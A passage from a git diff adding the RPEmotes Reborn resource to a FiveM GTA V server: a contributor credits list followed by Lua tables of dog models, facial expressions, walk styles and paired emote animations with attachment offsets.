Usage Rights Agreement to add free custom animations either publicly available or on their discord +- [LittleSpoon](https://discord.gg/safeword) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord +- [Pupppy](https://discord.gg/rsN35X4s4N) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord +- [SapphireMods](https://discord.gg/Hf8F4nTyzt) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord +- [QueenSisters Animations](https://discord.gg/qbPtGwQuep) for the Explicit Usage Rights Agreement to add free custom animations either publicly available or on their discord +- [Kri's Graphic House](https://discord.gg/JueRG3fCy6) for the custom banners +- !MWooM#0597 on Discord for the custom banners +- DurtyFree for his work on particle effects and cataloging GTA-related information [DurtyFree GTA V Dump](https://github.com/DurtyFree/gta-v-data-dumps/blob/master/particleEffectsCompact.json). +- [BoringNeptune](https://www.gta5-mods.com/users/BoringNeptune) for the custom dance emotes +- [CMG Mods](https://www.gta5-mods.com/users/-moses-) for the custom emotes +- [prue 颜](discord.gg/lunyxmods) for being a great friend and providing us with exclusive custom animations +- [PataMods](https://forum.cfx.re/u/Pata_PataMods) for the custom props +- [Crowded1337](https://www.gta5-mods.com/users/crowded1337) for the custom Gucci bag. I have removed the Gucci logo to comply with Rockstar Games & TakeTwo Interactive +- [EnchantedBrownie](https://www.gta5-mods.com/users/EnchantedBrownie) for the custom animations +- [Copofiscool](https://forum.cfx.re/u/copofiscool/) for adding a toggle to the Favorite Keybinds +- [iSentrie](https://forum.cfx.re/u/isentrie/) for additional code, support, and joining the RPEmotes project +- Chocoholic Animations for the custom animations +- [CrunchyCat](https://www.gta5-mods.com/users/crunchycat) for the custom animations +- [KayKayMods](https://discord.gg/5bYQVWVaxG) for the custom props +- [MonkeyWhisper](https://github.com/MonkeyWhisper) and [Project Sloth](https://github.com/Project-Sloth) for the custom props +- [Brummieee](https://forum.cfx.re/u/brummieee_maps/summary) for the custom props +- [Dark Animations](https://www.gta5-mods.com/users/Darks%20Animations) for the custom animations. +- [Chico](https://forum.cfx.re/u/chico) for implementing natives to reapply persistent moods and walk styles for ESX and QB-Core frameworks +- [-EcLiPsE-](https://www.gta5-mods.com/users/-EcLiPsE-) for allowing me to implement [Improved Prop Sets](https://www.gta5-mods.com/misc/improved-propsets-meta) and [GTA Online Biker Idle Anims](https://www.gta5-mods.com/misc/bike-idle-animations) +- [MrWitt](https://www.gta5-mods.com/users/MrWitt)for the custom animations +- [AdoredRose](https://forum.cfx.re/u/adoredrose/summary) for assisting with animations +- [Vedere](https://discord.gg/XMywAMQ8Ef) for the custom props +- [DRX Animations](https://www.gta5-mods.com/users/DRX%2DAnimations) for the custom animations +- [VNSIanims](https://discord.gg/cTNrjYSXXG) for the custom animations +- [PNWParksFan](https://www.gta5-mods.com/users/PNWParksFan) for the custom props +- [LSPDFR member Sam](https://www.lcpdfr.com/downloads/gta5mods/misc/23386-lspd-police-badge/) for their Custom LSPD police badge +- [GTA5Mods user Sladus_Slawonkus](https://www.gta5-mods.com/misc/lspd-police-badge-replace-sladus_slawonkus) for their reskinned LSPD badge +- [Scully](https://github.com/Scullyy/) For their past work on rpemotes +- [EP](https://github.com/EpKouhia) for their ice fishing props and emotes, originally used in scully_emotemenu +- [TayMcKenzieNZ](https://github.com/TayMcKenzieNZ) for their past work maintaining RP Emotes +- [ESX](https://github.com/esx-framework) for the creation of the translation system diff --git a/resources/rpemotesreborn1.6.0/animals.lua b/resources/rpemotesreborn1.6.0/animals.lua new file mode 100644 index 000000000..78a0578bf --- /dev/null +++ b/resources/rpemotesreborn1.6.0/animals.lua @@ -0,0 +1,13 @@ +BigDogs = { + "a_c_chop", + "a_c_husky", + "a_c_retriever", + "a_c_shepherd", + "a_c_rottweiler", +} + +SmallDogs = { + "a_c_poodle", + "a_c_pug", + "a_c_westy", +} \ No newline at end of file diff --git a/resources/rpemotesreborn1.6.0/client/AnimationList.lua b/resources/rpemotesreborn1.6.0/client/AnimationList.lua new file mode 100644 index 000000000..86d6bdfa8 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/AnimationList.lua @@ -0,0 +1,24050 @@ +-- ALL custom animations added to this repository were added with express permission from the creators and do not contain any paid content -- +-- If an emote does not work, you may be on an older gamebuild -- +-- To get a higher gamebuild, see ReadMe on github repository -- + +RP = {} + +-- EXPRESSIONS -- + +RP.Expressions = { ---- MOODS ---- + ["Aiming"] = { + "mood_aiming_1" + }, + ["Angry"] = { + "mood_angry_1" + }, + ["Burning"] = { + "burning_1" + }, + ["Crying"] = { + "console_wasnt_fun_end_loop_floyd_facial" + }, + ["Dead"] = { + "dead_1" + }, + ["Drunk"] = { + "mood_drunk_1" + }, + ["Dumb"] = { + "pose_injured_1" + }, + ["Electrocuted"] = { + "electrocuted_1" + }, + ["Excited"] = { + "mood_excited_1" + }, + ["Frustrated"] = { + "mood_frustrated_1" + }, + ["Grumpy"] = { + "effort_1" + }, + ["Grumpy2"] = { + "mood_drivefast_1", + "Grumpy 2" + }, + ["Grumpy3"] = { + "pose_angry_1", + "Grumpy 3" + }, + ["Happy"] = { + "mood_happy_1" + }, + ["Injured"] = { + "mood_injured_1" + }, + ["Joyful"] = { + "mood_dancing_low_1" + }, + ["Mouthbreather"] = { + "smoking_hold_1" + }, + ["Neverblink"] = { + "pose_normal_1", + "Never Blink" + }, + ["Oneeye"] = { + "pose_aiming_1", + "One Eye" + }, + ["Shocked"] = { + "shocked_1" + }, + ["Shocked2"] = { + "shocked_2", + "Shocked 2" + }, + ["Sleeping"] = { + "mood_sleeping_1" + }, + ["Sleeping2"] = { + "dead_1", + "Sleeping 2" + }, + ["Sleeping3"] = { + "dead_2", + "Sleeping 3" + }, + ["Smug"] = { + "mood_smug_1" + }, + ["Speculative"] = { + "mood_aiming_1" + }, + ["Stressed"] = { + "mood_stressed_1" + }, + ["Sulking"] = { + "mood_sulk_1" + }, + ["Weird"] = { + "effort_2" + }, + ["Weird2"] = { + "effort_3", + "Weird 2" + }, +} + + +--- WALKSTYLES --- + +RP.Walks = { + -- The key shouldn't have any other uppercase letter than the first one! + -- The first letter HAS to be uppercase! + -- First element of array is the walk animation + -- Second element is the label, this is optional + ["Alien"] = { + "move_m@alien" + }, + ["Armored"] = { + "anim_group_move_ballistic" + }, + ["Arrogant"] = { + "move_f@arrogant@a" + }, + ["Butch"] = { + "move_m@hurry_butch@a" + }, + ["Butch2"] = { + "move_m@hurry_butch@b", + "Butch 2" + }, + ["Butch3"] = { + "move_m@hurry_butch@c", + "Butch 3" + }, + ["Buzzed"] = { + "move_m@buzzed" + }, + ["Brave"] = { + "move_m@brave" + }, + ["Brave2"] = { + "move_m@brave@a", + "Brave 2" + }, + ["Casey"] = { + "move_casey" + }, + ["Casual"] = { + "move_m@casual@a" + }, + ["Casual2"] = { + "move_m@casual@b", + "Casual 2" + }, + ["Casual3"] = { + "move_m@casual@c", + "Casual 3" + }, + ["Casual4"] = { + "move_m@casual@d", + "Casual 4" + }, + ["Casual5"] = { + "move_m@casual@e", + "Casual 5" + }, + ["Casual6"] = { + "move_m@casual@f", + "Casual 6" + }, + ["Chichi"] = { + "move_f@chichi" + }, + ["Confident"] = { + "move_m@confident" + }, + ["Cop"] = { + "move_m@business@a" + }, + ["Cop2"] = { + "move_m@business@b", + "Cop 2" + }, + ["Cop3"] = { + "move_m@business@c", + "Cop 3" + }, + ["Coward"] = { + "move_m@coward" + }, + ["Chubbymale"] = { + "move_chubby", + "Chubby Male" + }, + ["Chubbyfemale"] = { + "move_f@chubby@a", + "Chubby Female" + }, + ["Dave"] = { + "move_characters@dave_n" + }, + ["Defaultfemale"] = { + "move_f@multiplayer", + "Default Female" + }, + ["Defaultmale"] = { + "move_m@multiplayer", + "Default Male" + }, + ["Depressed"] = { + "move_m@depressed@a" + }, + ["Depressed2"] = { + "move_m@depressed@b", + "Depressed 2" + }, + ["Depressed3"] = { + "move_f@depressed@a", + "Depressed 3" + }, + ["Depressed4"] = { + "move_f@depressed@c", + "Depressed 4" + }, + ["Dreyfuss"] = { + "move_dreyfuss" + }, + ["Drunk"] = { + "move_m@drunk@a" + }, + ["Drunk2"] = { + "move_m@buzzed", + "Drunk 2 - Buzzed" + }, + ["Drunk3"] = { + "move_m@drunk@moderatedrunk", + "Drunk 3 - Moderate" + }, + ["Drunk4"] = { + "move_m@drunk@moderatedrunk_head_up", + "Drunk 4 - Moderate 2" + }, + ["Drunk5"] = { + "move_m@drunk@slightlydrunk", + "Drunk 5 - Slightly Drunk" + }, + ["Drunk6"] = { + "move_m@drunk@verydrunk", + "Drunk 6 - Very Drunk" + }, + ["Fat"] = { + "move_m@fat@a", + "Fat Male" + }, + ["Fat2"] = { + "move_f@fat@a", + "Fat Female" + }, + ["Fat3"] = { + "move_m@fat@bulky", + "Fat & Bulky" + }, + ["Fat4"] = { + "move_f@fat@a_no_add", + "Fat Female 2" + }, + ["Femme"] = { + "move_f@femme@" + }, + ["Femme2"] = { + "move_m@femme@", + "Femme 2" + }, + ["Fire"] = { + "move_characters@franklin@fire" + }, + ["Fire2"] = { + "move_characters@michael@fire", + "Fire 2" + }, + ["Fire3"] = { + "move_m@fire", + "Fire 3" + }, + ["Flee"] = { + "move_f@flee@a" + }, + ["Flee2"] = { + "move_f@flee@c", + "Flee 2" + }, + ["Flee3"] = { + "move_m@flee@a", + "Flee 3" + }, + ["Flee4"] = { + "move_m@flee@b", + "Flee 4" + }, + ["Flee5"] = { + "move_m@flee@c", + "Flee 5" + }, + ["Floyd"] = { + "move_characters@floyd" + }, + ["Franklin"] = { + "move_p_m_one" + }, + ["Gangster"] = { + "move_m@gangster@generic" + }, + ["Gangsterb"] = { + "move_gangster", + "Gangster 2" + }, + ["Gangsterc"] = { + "move_m@gangster@ng", + "Gangster 3" + }, + ["Gangsterd"] = { + "move_m@gangster@var_a", + "Gangster 4" + }, + ["Gangstere"] = { + "move_m@gangster@var_b", + "Gangster 5" + }, + ["Gangsterf"] = { + "move_m@gangster@var_c", + "Gangster 6" + }, + ["Gangsterg"] = { + "move_m@gangster@var_d", + "Gangster 7" + }, + ["Gangsterh"] = { + "move_m@gangster@var_e", + "Gangster 8" + }, + ["Gangsteri"] = { + "move_m@gangster@var_f", + "Gangster 9" + }, + ["Gangsterj"] = { + "move_m@gangster@var_g", + "Gangster 10" + }, + ["Gangsterk"] = { + "move_m@gangster@var_h", + "Gangster 11" + }, + ["Gangsterl"] = { + "move_m@gangster@var_i", + "Gangster 12" + }, + ["Gangsterm"] = { + "move_m@gangster@var_j", + "Gangster 13" + }, + ["Gangstern"] = { + "move_m@gangster@var_k", + "Gangster 14" + }, + ["Generic"] = { + "move_m@generic", + "Generic Male" + }, + ["Generic2"] = { + "move_f@generic", + "Generic Female" + }, + ["Grooving"] = { + "anim@move_m@grooving@", + "Grooving Male" + }, + ["Grooving2"] = { + "anim@move_f@grooving@", + "Grooving Female" + }, + ["Guard"] = { + "move_m@prison_gaurd" + }, + ["Handcuffs"] = { + "move_m@prisoner_cuffed" + }, + ["Heels"] = { + "move_f@heels@c" + }, + ["Heels2"] = { + "move_f@heels@d", + "Heels 2" + }, + ["Hiking"] = { + "move_m@hiking" + }, + ["Hiking2"] = { + "move_f@hiking", + "Hiking 2" + }, + ["Hipster"] = { + "move_m@hipster@a" + }, + ["Hobo"] = { + "move_m@hobo@a", + "Hobo" + }, + ["Hobo2"] = { + "move_m@hobo@b", + "Hobo 2" + }, + ["Injured2"] = { + "move_f@injured", + "Injured 2 - Female" + }, + ["Intimidation"] = { + "move_m@intimidation@1h", + "Intimidation" + }, + ["Intimidation2"] = { + "move_m@intimidation@cop@unarmed", + "Intimidation 2" + }, + ["Intimidation3"] = { + "move_m@intimidation@unarmed", + "Intimidation 3" + }, + ["Janitor"] = { + "move_p_m_zero_janitor" + }, + ["Janitor2"] = { + "move_p_m_zero_slow", + "Janitor 2" + }, + ["Jimmy"] = { + "move_characters@jimmy" + }, + ["Jog"] = { + "move_m@jog@" + }, + ["Lamar"] = { + "move_characters@lamar" + }, + ["Lamar2"] = { + "anim_group_move_lemar_alley", + "Lamar 2" + }, + ["Lester"] = { + "move_heist_lester" + }, + ["Lester2"] = { + "move_lester_caneup", + "Lester 2" + }, + ["Maneater"] = { + "move_f@maneater" + }, + ["Michael"] = { + "move_ped_bucket" + }, + ["Money"] = { + "move_m@money" + }, + ["Muscle"] = { + "move_m@muscle@a" + }, + ["Nervous"] = { + "move_characters@jimmy@nervous@" + }, + ["Patricia"] = { + "move_characters@patricia" + }, + ["Paramedic"] = { + "move_paramedic" + }, + ["Posh"] = { + "move_m@posh@" + }, + ["Posh2"] = { + "move_f@posh@", + "Posh 2" + }, + ["Quick"] = { + "move_m@quick" + }, + ["Ron"] = { + "move_characters@ron" + }, + ["Runner"] = { + "female_fast_runner" + }, + ["Sad"] = { + "move_m@sad@a", + "Sad Male" + }, + ["Sad2"] = { + "move_m@sad@b", + "Sad Male 2" + }, + ["Sad3"] = { + "move_m@sad@c", + "Sad Male 3" + }, + ["Sad4"] = { + "move_f@sad@a", + "Sad Female" + }, + ["Sad5"] = { + "move_f@sad@b", + "Sad Female 2" + }, + ["Sassy"] = { + "move_m@sassy" + }, + ["Sassy2"] = { + "move_f@sassy", + "Sassy 2" + }, + ["Scared"] = { + "move_f@scared" + }, + ["Sexy"] = { + "move_f@sexy@a" + }, + ["Shady"] = { + "move_m@shadyped@a" + }, + ["Slow"] = { + "move_characters@jimmy@slow@" + }, + ["Stripper"] = { + "move_f@stripper@a" + }, + ["Swagger"] = { + "move_m@swagger" + }, + ["Swagger2"] = { + "move_m@swagger@b", + "Swagger 2" + }, + ["Tough"] = { + "move_m@tough_guy@" + }, + ["Tough2"] = { + "move_f@tough_guy@", + "Tough 2" + }, + ["Toolbelt"] = { + "move_m@tool_belt@a", + "Toolbelt Male" + + }, + ["Toolbelt2"] = { + "move_f@tool_belt@a", + "Toolbelt Female" + }, + ["Trash"] = { + "clipset@move@trash_fast_turn" + }, + ["Trash2"] = { + "missfbi4prepp1_garbageman", + "Trash 2" + }, + ["Tracey"] = { + "move_characters@tracey" + }, + ["Trevor"] = { + "move_p_m_two" + }, + ["Veryslow"] = { + "move_m@leaf_blower", + "Very Slow" + }, + ["Wide"] = { + "move_m@bag" + }, +} + + +--- SHARED EMOTES --- + +RP.Shared = { + + --[emotename] = {dictionary, animation, displayname, targetemotename, additionalanimationoptions} -- + -- You don't have to specify targetemotename; If you don't, it will just play the same animation on both.-- + -- targetemote is used for animations that have a corresponding animation to the other player, ie Carry and Be Carried -- + -- Emotes will work with either SyncOffset or Attachto. We can attach players either in front of us, to a specific bone, or either side of us. -- + + + ["handshake"] = { + "mp_ped_interaction", + "handshake_guy_a", + "Handshake", + "handshake2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000, + SyncOffsetFront = 0.9 + } + }, + ["handshake2"] = { + "mp_ped_interaction", + "handshake_guy_b", + "Handshake 2", + "handshake", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 3000 + } + }, + ["hug"] = { + "mp_ped_interaction", + "kisses_guy_a", + "Hug", + "hug2", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 5000, + SyncOffsetFront = 1.05 + } + }, + ["hug2"] = { + "mp_ped_interaction", + "kisses_guy_b", + "Hug 2", + "hug", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 5000, + SyncOffsetFront = 1.18 + } + }, + ["hugr"] = { + "misscarsteal2chad_goodbye", + "chad_armsaround_chad", + "Hug Romantic 1", + "hugr2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + SyncOffsetSide = -0.05, + SyncOffsetFront = 0.52 + } + }, + ["hugr2"] = { + "misscarsteal2chad_goodbye", + "chad_armsaround_girl", + "Hug Romantic 2", + "hugr", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + SyncOffsetSide = -0.05, + SyncOffsetFront = 0.52 + } + }, + ["bro"] = { + "mp_ped_interaction", + "hugs_guy_a", + "Bro", + "bro2", + AnimationOptions = { + SyncOffsetFront = 1.14 + } + }, + ["bro2"] = { + "mp_ped_interaction", + "hugs_guy_b", + "Bro 2", + "bro", + AnimationOptions = { + SyncOffsetFront = 1.14 + } + }, + ["give"] = { + "mp_common", + "givetake1_a", + "Give", + "give2", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["give2"] = { + "mp_common", + "givetake1_b", + "Give 2", + "give", + AnimationOptions = { + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["baseball"] = { + "anim@arena@celeb@flat@paired@no_props@", + "baseball_a_player_a", + "Baseball", + "baseballthrow" + }, + ["baseballthrow"] = { + "anim@arena@celeb@flat@paired@no_props@", + "baseball_a_player_b", + "Baseball Throw", + "baseball" + }, + ["stickup"] = { + "random@countryside_gang_fight", + "biker_02_stickup_loop", + "Stick Up", + "stickupscared", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true + } + }, + ["stickupscared"] = { + "missminuteman_1ig_2", + "handsup_base", + "Stickup Scared", + "stickup", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["punch"] = { + "melee@unarmed@streamed_variations", + "plyr_takedown_rear_lefthook", + "Punch", + "punched" + }, + ["punched"] = { + "melee@unarmed@streamed_variations", + "victim_takedown_front_cross_r", + "Punched", + "punch" + }, + ["headbutt"] = { + "melee@unarmed@streamed_variations", + "plyr_takedown_front_headbutt", + "Headbutt", + "headbutted" + }, + ["headbutted"] = { + "melee@unarmed@streamed_variations", + "victim_takedown_front_headbutt", + "Headbutted", + "headbutt" + }, + ["slap2"] = { + "melee@unarmed@streamed_variations", + "plyr_takedown_front_backslap", + "Slap 2", + "slapped2", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["slap"] = { + "melee@unarmed@streamed_variations", + "plyr_takedown_front_slap", + "Slap", + "slapped", + AnimationOptions = { + EmoteLoop = true, + EmoteMoving = true, + EmoteDuration = 2000 + } + }, + ["slapped"] = { + "melee@unarmed@streamed_variations", + "victim_takedown_front_slap", + "Slapped", + "slap" + }, + ["slapped2"] = { + "melee@unarmed@streamed_variations", + "victim_takedown_front_backslap", + "Slapped 2", + "slap2" + }, + ["receiveblowjob"] = { + "misscarsteal2pimpsex", + "pimpsex_punter", + "Receive Blowjob", + "giveblowjob", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 30000, + SyncOffsetFront = 0.63 + }, + AdultAnimation = true + }, + ["giveblowjob"] = { + "misscarsteal2pimpsex", + "pimpsex_hooker", + "Give Blowjob", + "receiveblowjob", + AnimationOptions = { + EmoteMoving = false, + EmoteDuration = 30000, + SyncOffsetFront = 0.63 + }, + AdultAnimation = true + }, + ["streetsexmale"] = { + "misscarsteal2pimpsex", + "shagloop_pimp", + "Street Sex Male", + "streetsexfemale", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + SyncOffsetFront = 0.50 + }, + AdultAnimation = true + }, + ["streetsexfemale"] = { + "misscarsteal2pimpsex", + "shagloop_hooker", + "Street Sex Female", + "streetsexmale", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + SyncOffsetFront = 0.50 + }, + AdultAnimation = true + }, + ["carry"] = { + "missfinale_c2mcs_1", + "fin_c2_mcs_1_camman", + "Carry", + "carry2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["carry2"] = { + "nm", + "firemans_carry", + "Be carried", + "carry", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 40269, + xPos = -0.14, + yPos = 0.15, + zPos = 0.14, + xRot = 0.0, + yRot = -59.0, + zRot = -4.5 + } + }, + ["carry3"] = { + "anim@heists@box_carry@", + "idle", + "Carry 2", + "carry4", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["carry4"] = { + "amb@code_human_in_car_idles@generic@ps@base", + "base", + "Be carried 2", + "carry3", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 28252, + xPos = 0.350, + yPos = 0.15, + zPos = -0.15, + xRot = -42.50, + yRot = -22.50, + zRot = 22.50 + } + }, + ["carrymecute"] = { -- Male Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_mal_002", + "Carry Me Cute", + "carrymecute2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + } + }, + ["carrymecute2"] = { -- Female Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_fem_002", + "Carry Me Cute 2", + "carrymecute", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0000, + yPos = 0.0000, + zPos = 0.0000, + xRot = 0.0000, + yRot = 0.0000, + zRot = 0.0000 + } + }, + ["carrycmg"] = { -- Male Custom emote by CMG Mods + "couplepose1cmg@animation", + "couplepose1cmg_clip", + "Carry Me Cute 3", + "carrycmg2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["carrycmg2"] = { -- Female Custom emote by CMG Mods + "couplepose2cmg@animation", + "couplepose2cmg_clip", + "Carry Me Cute 4", + "carrycmg", + AnimationOptions = { + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0100, + yPos = 0.3440, + zPos = -0.0100, + xRot = 180.0000, + yRot = 180.0000, + zRot = -1.9999 + } + }, + ["bestfriends"] = { -- Female Custom emote by MrWitt + "mrwitt@casual_composure_female01", + "mrwitt", + "Best Friends 1", + "bestfriends2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["bestfriends2"] = { -- Female Custom emote by MrWitt + "mrwitt@casual_composure_female02", + "mrwitt", + "Best Friends 2", + "bestfriends", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = -0.2500, + yPos = 0.1400, + zPos = 0.0200, + xRot = 0.0000, + yRot = 0.0000, + zRot = -0.0000 + }, + }, + ["bff"] = { + "anim@male_couple_03_b", + "m_couple_03_b_clip", + "BFF Pose", + "bffb", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + }, + }, + ["bffb"] = { + "anim@female_couple_03_b", + "f_couple_03_b_clip", + "BFF Pose 2", + "bff", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0100, + yPos = 0.1300, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = 76.0000 + }, + }, + ["sitwithmepose"] = { -- Male Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_mal_003", + "Sit With Me", + "sitwithmepose2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["sitwithmepose2"] = { -- Female Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_fem_003", + "Sit With Me Please?", + "sitwithmepose", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.3540, + yPos = 0.5110, + zPos = 0.8310, + xRot = 0.0000, + yRot = 0.0000, + zRot = -2.8000 + } + }, + ["hugpose"] = { -- Male Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_mal_001", + "Hug Pose", + "hugpose2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["hugpose2"] = { -- Female Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_fem_001", + "Hug Pose With Me?", + "hugpose", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.1400, + yPos = 0.2500, + zPos = 0.0000, + xRot = 0.0000, + yRot = 0.0000, + zRot = 0.0000 + } + }, + ["hugtip"] = { -- Male Custom emote by Little Spoon + "littlespoon@friendship007", + "friendship007", + "Hug Pose Tippy Toes", + "hugtip2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["hugtip2"] = { -- Female Custom emote by Little Spoon + "littlespoon@friendship008", + "friendship008", + "Hug Pose Tippy Toes 2", + "hugtip", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0100, + yPos = 0.2700, + zPos = 0.0, + xRot = -180.0000, + yRot = -180.0000, + zRot = 10.0000 + } + }, + ["cutepicpose"] = { -- Male Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_mal_004", + "Cute Pic Pose", + "cutepicpose2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["cutepicpose2"] = { -- Female Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_fem_004", + "Cute Pic Pose 2", + "cutepicpose", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.2700, + yPos = 0.1200, + zPos = 0.0000, + xRot = 0.0000, + yRot = 0.0000, + zRot = 0.0000 + } + }, + ["couplehhands"] = { -- Male Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_mal_005", + "Couple Heart Hands", + "couplehhands2", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["couplehhands2"] = { -- Female Custom emote by Amnilka + "amnilka@photopose@couple@couplefirst", + "amnilka_couple_fem_005", + "Couple Heart Hands 2", + "couplehhands", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = -0.1230, + yPos = 0.4740, + zPos = 0.0000, + xRot = 0.0000, + yRot = 0.0000, + zRot = 94.0000 + } + }, + ["couplewed1a"] = { -- Male Custom emote by EnchantedBrwny + "EnchantedBrwny@wedding1a", + "wedding1a", + "Couple Wedding Pose 1A", + "couplewed1b", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["couplewed1b"] = { -- Female Custom emote by EnchantedBrwny + "EnchantedBrwny@wedding1b", + "wedding1b", + "Couple Wedding Pose 1B", + "couplewed1a", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0300, + yPos = 1.0000, + zPos = 0.0200, + xRot = 0.0000, + yRot = 0.0000, + zRot = 130.0000 + } + }, + ["couplewed2a"] = { -- Male Custom emote by EnchantedBrwny + "EnchantedBrwny@wedding2b", + "wedding2b", + "Couple Wedding Pose 2A", + "couplewed2b", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["couplewed2b"] = { -- Female Custom emote by EnchantedBrwny + "EnchantedBrwny@wedding2a", + "wedding2a", + "Couple Wedding Pose 2B", + "couplewed2a", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0100, + yPos = 0.2500, + zPos = 0.0, + xRot = 0.0, + yRot = 0.0, + zRot = -88.9000 + } + }, + ["liftme"] = { -- Male Custom emote by -Moses- + "couplepose1pack1anim2@animation", + "couplepose1pack1anim2_clip", + "Lift Me", + "liftme2", + AnimationOptions = { + EmoteLoop = true + } + }, + ["liftme2"] = { -- Female Custom emote by -Moses- + "couplepose1pack1anim1@animation", + "couplepose1pack1anim1_clip", + "Lift Me 2", + "liftme", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0020, + yPos = 0.2870, + zPos = 0.2500, + xRot = 0.0000, + yRot = 0.0000, + zRot = 180.0000 + } + }, + ["liftme3"] = { -- Male Custom emote by -Moses- + "couplepose2pack1anim2@animation", + "couplepose2pack1anim2_clip", + "Lift Me 3", + "liftme4", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true + } + }, + ["liftme4"] = { -- Female Custom emote by -Moses- + "couplepose2pack1anim1@animation", + "couplepose2pack1anim1_clip", + "Lift Me 4", + "liftme3", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = 0.0100, + yPos = 0.4800, + zPos = 0.5300, + xRot = 0.0000, + yRot = 0.0000, + zRot = 180.0000 + } + }, + ["liftme5"] = { -- Male Custom emote by -Moses- + "couplepose3pack1anim2@animation", + "couplepose3pack1anim2_clip", + "Lift Me 5", + "liftme6", + AnimationOptions = { + EmoteLoop = true + } + }, + ["liftme6"] = { -- Female Custom emote by -Moses- + "couplepose3pack1anim1@animation", + "couplepose3pack1anim1_clip", + "Lift Me 6", + "liftme5", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 0, + xPos = -0.2120, + yPos = -0.5400, + zPos = -0.1000, + xRot = 0.0000, + yRot = 0.0000, + zRot = 0.0000 + } + }, + ["csdog"] = { + "anim@heists@box_carry@", + "idle", + "Carry Small Dog", + "csdog2", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + }, + AnimalEmote = true + }, + ["csdog2"] = { -- Emote by MissSnowie + "misssnowie@little_doggy_lying_down", + "base", + "Small Dog Carried", + "csdog", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + xPos = -0.040, + yPos = 0.330, + zPos = 0.280, + xRot = 0.0, + yRot = 0.0, + zRot = 80.0, + }, + AnimalEmote = true + }, + ["csdog3"] = { -- Custom Emote by MissSnowie + "hooman@hugging_little_doggy", + "base", + "Carry Small Dog 2", + "csdog4", + AnimationOptions = { + EmoteMoving = true, + EmoteLoop = true + }, + AnimalEmote = true + }, + ["csdog4"] = { -- Custom Emote by MissSnowie + "little_doggy@hugging_hooman", + "base", + "Small Dog Carried 2", + "csdog3", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Attachto = true, + bone = 24818, + xPos = -0.95, + yPos = 0.16, + zPos = 